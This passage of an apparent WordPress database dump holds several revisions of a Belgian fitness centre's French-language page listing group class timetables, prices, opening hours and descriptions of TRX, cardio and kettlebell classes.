séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:41:28', '2013-07-03 17:41:28', '', 11, 'http://www.crosstrainingcenter.be/?p=198', 0, 'revision', '', 0),
(173, 1, '2013-07-03 16:42:38', '2013-07-03 16:42:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:42:38', '2013-07-03 16:42:38', '', 11, 'http://www.crosstrainingcenter.be/?p=173', 0, 'revision', '', 0),
(166, 1, '2013-07-03 16:29:16', '2013-07-03 16:29:16', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 